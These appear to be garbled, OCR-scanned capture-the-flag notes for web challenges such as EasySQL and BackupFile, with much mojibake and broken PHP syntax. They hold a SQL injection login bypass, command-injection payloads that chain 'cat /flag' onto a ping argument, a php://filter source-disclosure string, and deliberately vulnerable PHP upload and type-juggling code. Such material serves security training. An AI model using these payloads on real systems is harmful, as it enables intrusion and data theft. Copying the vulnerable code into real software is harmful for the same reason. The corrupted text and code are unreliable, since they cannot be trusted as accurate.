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[z K BkA% 2019]Knife
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[t KPkbk 2019]EasySQL( 7 e #15)

username=‘admin‘or 1=1#" and password="F&{f 5"
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[ACTF2020 %1 4E #€1BackupFile(# i SC A4 itk 58 &php§5 25 2Y)

1. Fwsacnia i & 3 findex.php.bak
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include_once "flag.php";

if(isset($_GET['key])) {

Skey = $_GET['key?;

if(lis_numeric($key)) {//tn ESkey A £ ¥F, % Just num!
exit("Just num!");

}

$key = intval($key);

$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsws54w3";
if(Pkey == $str) {

echo $flag;

}
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}

else {

echo "Try to find out source file!";

}
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error_reporting(0);
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define("UPLOAD_PATH", "./uplo4d");

$msg = "Upload Success!";

if (isset($_POST['submit1)) {

$temp _file = $_FILES[‘upload_file’]['tmp_name‘];
$file_name = $_FILES['upload_file]['name’];

$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(in_array($ext, [‘php’, ‘php3’, ‘php4’, ‘php57)) {
exit(‘nonono~ Bad file! *);

}

$new_file_name = md5($file_name).".".$ext;

$img_path = UPLOAD _PATH . /. $new_file_name;

if (move_uploaded_file($temp_file, $img_path))

$is_upload = true;

}else {



$msg = ‘Upload Failed!’;
}

echo

:l.$msg." Look here~".$img_path."

},

>
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1. %eping 127.0.0.1, &&pingid

2. ping 127.0.0.1;cat /flag#1127.0.0.1 & cat /flag#F 7] A
{BRARHiEping 127.0.0.1 && cat /flagih A 1T
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1. H#?file=php:/filter/read=convert.base64-encode/resource=flag.php
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1. 2100000000 money
2. WA LT Y student

3. correct password
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money=1e10&password=404a
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